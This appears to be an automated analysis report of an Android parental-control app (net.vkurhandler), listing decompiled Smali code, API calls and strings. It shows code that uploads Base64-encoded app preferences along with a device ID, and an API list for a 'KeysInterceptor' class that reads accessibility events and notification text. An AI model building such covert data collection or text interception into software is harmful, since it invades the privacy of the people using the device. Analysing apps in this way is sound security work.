                    90new-instance v0, Ljava/lang/StringBuilder;
                    92invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                    93check-cast v1, Ljava/lang/Number;
                    95invoke-virtual {v1}, Ljava/lang/Number;->longValue()J
                    96move-result-wide v6
                    98invoke-virtual {v0, v6, v7}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                    99move-result-object v0
                    101const-string v1, ""
                    103invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    104move-result-object v0
                    106invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    107move-result-object v0
                    109invoke-virtual {v0}, Ljava/lang/String;->getBytes()[B
                    110move-result-object v0
                    112invoke-virtual {p1, v0}, Ljava/io/OutputStream;->write([B)V
                    113goto/16 :goto_61
                    114cond_a7: instance-of v0, v1, Ljava/lang/Double;
                    115if-eqz v0, :cond_cc
                    116new-instance v0, Ljava/lang/StringBuilder;
                    118invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                    119check-cast v1, Ljava/lang/Number;
                    121invoke-virtual {v1}, Ljava/lang/Number;->doubleValue()D
                    122move-result-wide v6
                    124invoke-virtual {v0, v6, v7}, Ljava/lang/StringBuilder;->append(D)Ljava/lang/StringBuilder;
                    125move-result-object v0
                    127const-string v1, ""
                    129invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    130move-result-object v0
                    132invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    133move-result-object v0
                    135invoke-virtual {v0}, Ljava/lang/String;->getBytes()[B
                    136move-result-object v0
                    138invoke-virtual {p1, v0}, Ljava/io/OutputStream;->write([B)V
                    139goto/16 :goto_61
                    140cond_cc: instance-of v0, v1, Ljava/lang/Float;
                    141if-eqz v0, :cond_f2
                    142new-instance v0, Ljava/lang/StringBuilder;
                    144invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                    145check-cast v1, Ljava/lang/Number;
                    147invoke-virtual {v1}, Ljava/lang/Number;->floatValue()F
                    148move-result v1
                    150invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(F)Ljava/lang/StringBuilder;
                    151move-result-object v0
                    153const-string v1, ""
                    155invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    156move-result-object v0
                    158invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    159move-result-object v0
                    161invoke-virtual {v0}, Ljava/lang/String;->getBytes()[B
                    162move-result-object v0
                    164invoke-virtual {p1, v0}, Ljava/io/OutputStream;->write([B)V
                    165goto/16 :goto_61
                    166cond_f2: instance-of v0, v1, Ljava/lang/Integer;
                    167if-eqz v0, :cond_118
                    168new-instance v0, Ljava/lang/StringBuilder;
                    170invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                    171check-cast v1, Ljava/lang/Number;
                    173invoke-virtual {v1}, Ljava/lang/Number;->intValue()I
                    174move-result v1
                    176invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                    177move-result-object v0
                    179const-string v1, ""
                    181invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    182move-result-object v0
                    184invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    185move-result-object v0
                    187invoke-virtual {v0}, Ljava/lang/String;->getBytes()[B
                    188move-result-object v0
                    190invoke-virtual {p1, v0}, Ljava/io/OutputStream;->write([B)V
                    191goto/16 :goto_61
                    192cond_118:
                    193invoke-virtual {v1}, Ljava/lang/Object;->toString()Ljava/lang/String;
                    194move-result-object v0
                    196invoke-virtual {v0}, Ljava/lang/String;->getBytes()[B
                    197move-result-object v0
                    199invoke-virtual {p1, v0}, Ljava/io/OutputStream;->write([B)V
                    200goto/16 :goto_61
                    201cond_125:
                    202sget-object v0, Lcom/a/a/a/q;->j:[B
                    204invoke-virtual {p1, v0}, Ljava/io/OutputStream;->write([B)V
                    206invoke-virtual {p1, v8}, Ljava/io/OutputStream;->write(I)V
                    208invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                    209move-result-wide v0
                    210sub-long/2addr v0, v2
                    211new-instance v2, Ljava/lang/StringBuilder;
                    213invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                    215invoke-virtual {v2, v0, v1}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                    216move-result-object v2
                    218const-string v3, "}"
                    220invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    221move-result-object v2
                    223invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    224move-result-object v2
                    226invoke-virtual {v2}, Ljava/lang/String;->getBytes()[B
                    227move-result-object v2
                    229invoke-virtual {p1, v2}, Ljava/io/OutputStream;->write([B)V
                    231const-string v2, "JsonStreamerEntity"
                    232new-instance v3, Ljava/lang/StringBuilder;
                    234invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                    236const-string v4, "Uploaded JSON in "
                    238invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    239move-result-object v3
                    240const-wide/16 v4, 0x3e8
                    241div-long/2addr v0, v4
                    242long-to-double v0, v0
                    244invoke-static {v0, v1}, Ljava/lang/Math;->floor(D)D
                    245move-result-wide v0
                    247invoke-virtual {v3, v0, v1}, Ljava/lang/StringBuilder;->append(D)Ljava/lang/StringBuilder;
                    248move-result-object v0
                    250const-string v1, " seconds"
                    252invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    253move-result-object v0
                    255invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    256move-result-object v0
                    258invoke-static {v2, v0}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I
                    260invoke-virtual {p1}, Ljava/io/OutputStream;->flush()V
                    262invoke-static {p1}, Lcom/a/a/a/a;->a(Ljava/io/OutputStream;)V
                    263return-void
                    Cross References
                    APIs
                    • java.lang.String.valueOf
                    • org.json.JSONObject.getJSONObject
                    • net.vkurhandler.ParentControlBlockAppActivity.getResources
                    • java.lang.StringBuilder.<init>
                    • net.vkurhandler.ParentControlBlockAppActivity.r:[Ljava/lang/String
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • net.vkurhandler.ParentControlBlockAppActivity.getPackageName
                    • android.content.res.Resources.getIdentifier
                    • net.vkurhandler.ParentControlBlockAppActivity.findViewById
                    • org.json.JSONObject.getInt
                    • java.lang.Integer.valueOf
                    • org.json.JSONObject.getInt
                    • java.lang.Integer.valueOf
                    • java.lang.String.format
                    • android.widget.TextView.setText
                    • net.vkurhandler.ParentControlBlockAppActivity.getResources
                    • java.lang.StringBuilder.<init>
                    • net.vkurhandler.ParentControlBlockAppActivity.r:[Ljava/lang/String
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • net.vkurhandler.ParentControlBlockAppActivity.getPackageName
                    • android.content.res.Resources.getIdentifier
                    • net.vkurhandler.ParentControlBlockAppActivity.findViewById
                    • org.json.JSONObject.getInt
                    • java.lang.Integer.valueOf
                    • org.json.JSONObject.getInt
                    • java.lang.Integer.valueOf
                    • java.lang.String.format
                    • android.widget.TextView.setText
                    • net.vkurhandler.ParentControlBlockAppActivity.getResources
                    • java.lang.StringBuilder.<init>
                    • net.vkurhandler.ParentControlBlockAppActivity.r:[Ljava/lang/String
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • net.vkurhandler.ParentControlBlockAppActivity.getPackageName
                    • android.content.res.Resources.getIdentifier
                    • net.vkurhandler.ParentControlBlockAppActivity.findViewById
                    • org.json.JSONObject.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.ParentControlBlockAppActivity.getResources
                    • java.lang.StringBuilder.<init>
                    • net.vkurhandler.ParentControlBlockAppActivity.r:[Ljava/lang/String
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • net.vkurhandler.ParentControlBlockAppActivity.getPackageName
                    • android.content.res.Resources.getIdentifier
                    • net.vkurhandler.ParentControlBlockAppActivity.findViewById
                    • org.json.JSONObject.getInt
                    • android.widget.Spinner.setSelection
                    • org.json.JSONObject.getJSONArray
                    • net.vkurhandler.ParentControlBlockAppActivity.q:[[Z
                    • net.vkurhandler.ParentControlBlockAppActivity.a
                    Strings
                    • block_app_week_
                    • _begin
                    • id
                    • %02d:%02d
                    • hour_begin
                    • minute_begin
                    • _end
                    • hour_end
                    • minute_end
                    • enabled
                    • block_app_type_week_
                    • type
                    • apps
                    • ParentControlBlockAppActivity
                    Position Instruction Meta Information
                    0const/4 v0, 0x1
                    1move v1, v0
                    2goto_2: const/4 v0, 0x7
                    3if-le v1, v0, :cond_6
                    4return-void
                    5try_start_6:
                    6invoke-static {v1}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
                    7move-result-object v0
                    9invoke-virtual {p1, v0}, Lorg/json/JSONObject;->getJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                    10move-result-object v2
                    12invoke-virtual {p0}, Lnet/vkurhandler/ParentControlBlockAppActivity;->getResources()Landroid/content/res/Resources;
                    13move-result-object v0
                    14new-instance v3, Ljava/lang/StringBuilder;
                    16const-string v4, "block_app_week_"
                    18invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    20sget-object v4, Lnet/vkurhandler/ParentControlBlockAppActivity;->r:[Ljava/lang/String;
                    21aget-object v4, v4, v1
                    23invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    24move-result-object v3
                    26const-string v4, "_begin"
                    28invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    29move-result-object v3
                    31invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    32move-result-object v3
                    34const-string v4, "id"
                    36invoke-virtual {p0}, Lnet/vkurhandler/ParentControlBlockAppActivity;->getPackageName()Ljava/lang/String;
                    37move-result-object v5
                    39invoke-virtual {v0, v3, v4, v5}, Landroid/content/res/Resources;->getIdentifier(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)I
                    40move-result v0
                    42invoke-virtual {p0, v0}, Lnet/vkurhandler/ParentControlBlockAppActivity;->findViewById(I)Landroid/view/View;
                    43move-result-object v0
                    44check-cast v0, Landroid/widget/TextView;
                    46const-string v3, "%02d:%02d"
                    47const/4 v4, 0x2
                    48new-array v4, v4, [Ljava/lang/Object;
                    49const/4 v5, 0x0
                    51const-string v6, "hour_begin"
                    53invoke-virtual {v2, v6}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    54move-result v6
                    56invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    57move-result-object v6
                    58aput-object v6, v4, v5
                    59const/4 v5, 0x1
                    61const-string v6, "minute_begin"
                    63invoke-virtual {v2, v6}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    64move-result v6
                    66invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    67move-result-object v6
                    68aput-object v6, v4, v5
                    70invoke-static {v3, v4}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                    71move-result-object v3
                    73invoke-virtual {v0, v3}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
                    75invoke-virtual {p0}, Lnet/vkurhandler/ParentControlBlockAppActivity;->getResources()Landroid/content/res/Resources;
                    76move-result-object v0
                    77new-instance v3, Ljava/lang/StringBuilder;
                    79const-string v4, "block_app_week_"
                    81invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    83sget-object v4, Lnet/vkurhandler/ParentControlBlockAppActivity;->r:[Ljava/lang/String;
                    84aget-object v4, v4, v1
                    86invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    87move-result-object v3
                    89const-string v4, "_end"
                    91invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    92move-result-object v3
                    94invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    95move-result-object v3
                    97const-string v4, "id"
                    99invoke-virtual {p0}, Lnet/vkurhandler/ParentControlBlockAppActivity;->getPackageName()Ljava/lang/String;
                    100move-result-object v5
                    102invoke-virtual {v0, v3, v4, v5}, Landroid/content/res/Resources;->getIdentifier(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)I
                    103move-result v0
                    105invoke-virtual {p0, v0}, Lnet/vkurhandler/ParentControlBlockAppActivity;->findViewById(I)Landroid/view/View;
                    106move-result-object v0
                    107check-cast v0, Landroid/widget/TextView;
                    109const-string v3, "%02d:%02d"
                    110const/4 v4, 0x2
                    111new-array v4, v4, [Ljava/lang/Object;
                    112const/4 v5, 0x0
                    114const-string v6, "hour_end"
                    116invoke-virtual {v2, v6}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    117move-result v6
                    119invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    120move-result-object v6
                    121aput-object v6, v4, v5
                    122const/4 v5, 0x1
                    124const-string v6, "minute_end"
                    126invoke-virtual {v2, v6}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    127move-result v6
                    129invoke-static {v6}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    130move-result-object v6
                    131aput-object v6, v4, v5
                    133invoke-static {v3, v4}, Ljava/lang/String;->format(Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/String;
                    134move-result-object v3
                    136invoke-virtual {v0, v3}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V
                    138invoke-virtual {p0}, Lnet/vkurhandler/ParentControlBlockAppActivity;->getResources()Landroid/content/res/Resources;
                    139move-result-object v0
                    140new-instance v3, Ljava/lang/StringBuilder;
                    142const-string v4, "block_app_week_"
                    144invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    146sget-object v4, Lnet/vkurhandler/ParentControlBlockAppActivity;->r:[Ljava/lang/String;
                    147aget-object v4, v4, v1
                    149invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    150move-result-object v3
                    152invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    153move-result-object v3
                    155const-string v4, "id"
                    157invoke-virtual {p0}, Lnet/vkurhandler/ParentControlBlockAppActivity;->getPackageName()Ljava/lang/String;
                    158move-result-object v5
                    160invoke-virtual {v0, v3, v4, v5}, Landroid/content/res/Resources;->getIdentifier(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)I
                    161move-result v0
                    163invoke-virtual {p0, v0}, Lnet/vkurhandler/ParentControlBlockAppActivity;->findViewById(I)Landroid/view/View;
                    164move-result-object v0
                    165check-cast v0, Landroid/widget/CheckBox;
                    167const-string v3, "enabled"
                    169invoke-virtual {v2, v3}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z
                    170move-result v3
                    172invoke-virtual {v0, v3}, Landroid/widget/CheckBox;->setChecked(Z)V
                    174invoke-virtual {p0}, Lnet/vkurhandler/ParentControlBlockAppActivity;->getResources()Landroid/content/res/Resources;
                    175move-result-object v0
                    176new-instance v3, Ljava/lang/StringBuilder;
                    178const-string v4, "block_app_type_week_"
                    180invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    182sget-object v4, Lnet/vkurhandler/ParentControlBlockAppActivity;->r:[Ljava/lang/String;
                    183aget-object v4, v4, v1
                    185invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    186move-result-object v3
                    188invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    189move-result-object v3
                    191const-string v4, "id"
                    193invoke-virtual {p0}, Lnet/vkurhandler/ParentControlBlockAppActivity;->getPackageName()Ljava/lang/String;
                    194move-result-object v5
                    196invoke-virtual {v0, v3, v4, v5}, Landroid/content/res/Resources;->getIdentifier(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)I
                    197move-result v0
                    199invoke-virtual {p0, v0}, Lnet/vkurhandler/ParentControlBlockAppActivity;->findViewById(I)Landroid/view/View;
                    200move-result-object v0
                    201check-cast v0, Landroid/widget/Spinner;
                    203const-string v3, "type"
                    205invoke-virtual {v2, v3}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                    206move-result v3
                    208invoke-virtual {v0, v3}, Landroid/widget/Spinner;->setSelection(I)V
                    210const-string v0, "apps"
                    212invoke-virtual {v2, v0}, Lorg/json/JSONObject;->getJSONArray(Ljava/lang/String;)Lorg/json/JSONArray;
                    213move-result-object v0
                    215iget-object v2, p0, Lnet/vkurhandler/ParentControlBlockAppActivity;->q:[[Z
                    216aget-object v2, v2, v1
                    218invoke-direct {p0, v2, v0}, Lnet/vkurhandler/ParentControlBlockAppActivity;->a([ZLorg/json/JSONArray;)V
                    219try_end_121: add-int/lit8 v0, v1, 0x1
                    220move v1, v0
                    221goto/16 :goto_2
                    222catch_126: move-exception v0
                    224const-string v2, "ParentControlBlockAppActivity"
                    226invoke-static {v2, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    227goto/16 :goto_121
                    APIs
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.t
                    • android.content.SharedPreferences.getAll
                    • java.util.Map.entrySet
                    • java.util.Set.iterator
                    • java.lang.StringBuilder.<init>
                    • java.util.Iterator.hasNext
                    • net.vkurhandler.MyApp.a
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • net.vkurhandler.MyApp.v
                    • org.json.JSONObject.put
                    • android.content.Context.getPackageName
                    • org.json.JSONObject.put
                    • android.content.Context.getPackageName
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • java.lang.String.<init>
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.t
                    • android.content.SharedPreferences.edit
                    • java.util.Calendar.getInstance
                    • java.util.Calendar.get
                    • android.content.SharedPreferences$Editor.putInt
                    • android.content.SharedPreferences$Editor.commit
                    • java.util.Iterator.next
                    • java.util.Map$Entry.getValue
                    • java.lang.Object.getClass
                    • java.lang.Class.getName
                    • java.lang.String.replace
                    • java.lang.StringBuilder.<init>
                    • java.util.Map$Entry.getKey
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.lang.String.getBytes
                    • android.util.Base64.encode
                    • java.lang.String.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    Strings
                    • module
                    • preference
                    • action
                    • save
                    • device_id
                    • app_name
                    • pkg_name
                    • domain_id
                    • client_hash
                    • data
                    • RemotePreference
                    • response:
                    • remote_preference_last_save_day
                    • java.lang.
                    • ~
                    • \n
                    • response saver run is empty
                    Position Instruction Meta Information
                    0const/4 v7, 0x0
                    1try_start_1:
                    2iget-object v0, p0, Lnet/vkurhandler/dz;->a:Landroid/content/Context;
                    4invoke-static {v0}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    5move-result-object v0
                    7invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->t()Landroid/content/SharedPreferences;
                    8move-result-object v0
                    10invoke-interface {v0}, Landroid/content/SharedPreferences;->getAll()Ljava/util/Map;
                    11move-result-object v0
                    13invoke-interface {v0}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                    14move-result-object v0
                    16invoke-interface {v0}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                    17move-result-object v1
                    18new-instance v2, Ljava/lang/StringBuilder;
                    20invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                    21goto_1c:
                    22invoke-interface {v1}, Ljava/util/Iterator;->hasNext()Z
                    23move-result v0
                    24if-nez v0, :cond_c8
                    26iget-object v0, p0, Lnet/vkurhandler/dz;->a:Landroid/content/Context;
                    28invoke-static {v0}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    29move-result-object v0
                    30new-instance v1, Lorg/json/JSONObject;
                    32invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V
                    34const-string v3, "module"
                    36const-string v4, "preference"
                    38invoke-virtual {v1, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    40const-string v3, "action"
                    42const-string v4, "save"
                    44invoke-virtual {v1, v3, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    46const-string v3, "device_id"
                    48invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->v()Lnet/vkurhandler/Mobile;
                    49move-result-object v0
                    51invoke-virtual {v0}, Lnet/vkurhandler/Mobile;->h()Ljava/lang/String;
                    52move-result-object v0
                    54invoke-virtual {v1, v3, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    56const-string v0, "app_name"
                    58iget-object v3, p0, Lnet/vkurhandler/dz;->a:Landroid/content/Context;
                    60iget-object v4, p0, Lnet/vkurhandler/dz;->a:Landroid/content/Context;
                    62invoke-virtual {v4}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                    63move-result-object v4
                    65invoke-static {v3, v4}, Lnet/vkurhandler/gn;->b(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                    66move-result-object v3
                    68invoke-virtual {v1, v0, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    70const-string v0, "pkg_name"
                    72iget-object v3, p0, Lnet/vkurhandler/dz;->a:Landroid/content/Context;
                    74invoke-virtual {v3}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                    75move-result-object v3
                    77invoke-virtual {v1, v0, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    79const-string v0, "domain_id"
                    80const/4 v3, 0x0
                    82invoke-virtual {v1, v0, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    84const-string v0, "client_hash"
                    86const-string v3, ""
                    88invoke-virtual {v1, v0, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    90const-string v0, "data"
                    92invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    93new-instance v0, Lnet/vkurhandler/gb;
                    95invoke-direct {v0}, Lnet/vkurhandler/gb;-><init>()V
                    97iget-object v2, p0, Lnet/vkurhandler/dz;->a:Landroid/content/Context;
                    99invoke-static {v2, v1, v0}, Lnet/vkurhandler/ea;->b(Landroid/content/Context;Lorg/json/JSONObject;Lcom/a/a/a/h;)V
                    101invoke-virtual {v0}, Lnet/vkurhandler/gb;->i()[B
                    102move-result-object v0
                    103if-eqz v0, :cond_124
                    104array-length v0, v0
                    105if-lez v0, :cond_124
                    106new-instance v0, Ljava/lang/String;
                    108invoke-direct {v0}, Ljava/lang/String;-><init>()V
                    110invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    111move-result v1
                    112if-eqz v1, :cond_a4
                    114const-string v1, "RemotePreference"
                    115const/4 v2, 0x2
                    116new-array v2, v2, [Ljava/lang/String;
                    117const/4 v3, 0x0
                    119const-string v4, "response:"
                    120aput-object v4, v2, v3
                    121const/4 v3, 0x1
                    122aput-object v0, v2, v3
                    124invoke-static {v1, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;[Ljava/lang/String;)V
                    125cond_a4:
                    126iget-object v0, p0, Lnet/vkurhandler/dz;->a:Landroid/content/Context;
                    128invoke-static {v0}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    129move-result-object v0
                    131invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->t()Landroid/content/SharedPreferences;
                    132move-result-object v0
                    134invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    135move-result-object v0
                    137const-string v1, "remote_preference_last_save_day"
                    139invoke-static {}, Ljava/util/Calendar;->getInstance()Ljava/util/Calendar;
                    140move-result-object v2
                    141const/4 v3, 0x5
                    143invoke-virtual {v2, v3}, Ljava/util/Calendar;->get(I)I
                    144move-result v2
                    146invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                    147move-result-object v0
                    149invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    151invoke-static {v7}, Lnet/vkurhandler/dx;->a(Z)V
                    152return-void
                    153cond_c8:
                    154invoke-interface {v1}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                    155move-result-object v0
                    156check-cast v0, Ljava/util/Map$Entry;
                    158invoke-interface {v0}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                    159move-result-object v3
                    160if-eqz v3, :cond_1c
                    162invoke-virtual {v3}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                    163move-result-object v4
                    165invoke-virtual {v4}, Ljava/lang/Class;->getName()Ljava/lang/String;
                    166move-result-object v4
                    168const-string v5, "java.lang."
                    170const-string v6, ""
                    172invoke-virtual {v4, v5, v6}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
                    173move-result-object v4
                    174new-instance v5, Ljava/lang/StringBuilder;
                    176invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                    178invoke-interface {v0}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                    179move-result-object v0
                    181invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                    183const-string v0, "~"
                    185invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    187invoke-virtual {v5, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    189const-string v0, "~"
                    191invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    193invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                    194new-instance v0, Ljava/lang/String;
                    196invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    197move-result-object v3
                    199invoke-virtual {v3}, Ljava/lang/String;->getBytes()[B
                    200move-result-object v3
                    201const/4 v4, 0x2
                    203invoke-static {v3, v4}, Landroid/util/Base64;->encode([BI)[B
                    204move-result-object v3
                    206invoke-direct {v0, v3}, Ljava/lang/String;-><init>([B)V
                    208invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    209move-result-object v0
                    211const-string v3, "\n"
                    213invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    214try_end_11b: goto/16 :goto_1c
                    215catch_11d: move-exception v0
                    217const-string v1, "RemotePreference"
                    219invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    220goto/16 :goto_a4
                    221try_start_124:
                    222invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    223move-result v0
                    224if-eqz v0, :cond_a4
                    226const-string v0, "RemotePreference"
                    228const-string v1, "response saver run is empty"
                    230invoke-static {v0, v1}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    231try_end_131: goto/16 :goto_a4
                    APIs
                    • android.view.accessibility.AccessibilityEvent.getText
                    • java.util.List.size
                    • android.view.accessibility.AccessibilityEvent.getText
                    • java.util.List.get
                    • java.lang.CharSequence.toString
                    • android.view.accessibility.AccessibilityEvent.getEventType
                    • android.view.accessibility.AccessibilityEvent.getPackageName
                    • java.lang.CharSequence.toString
                    • android.view.accessibility.AccessibilityEvent.getParcelableData
                    • android.view.accessibility.AccessibilityEvent.getText
                    • java.lang.Object.toString
                    • java.lang.String.equals
                    • android.app.Notification.tickerText:Ljava/lang/CharSequence
                    • java.lang.CharSequence.toString
                    • android.app.Notification.getGroup
                    • java.util.regex.Pattern.compile
                    • java.util.regex.Pattern.matcher
                    • java.util.regex.Matcher.matches
                    • java.util.regex.Matcher.group
                    • java.util.regex.Matcher.group
                    • java.lang.String.equals
                    • net.vkurhandler.KeysInterceptor.getApplicationContext
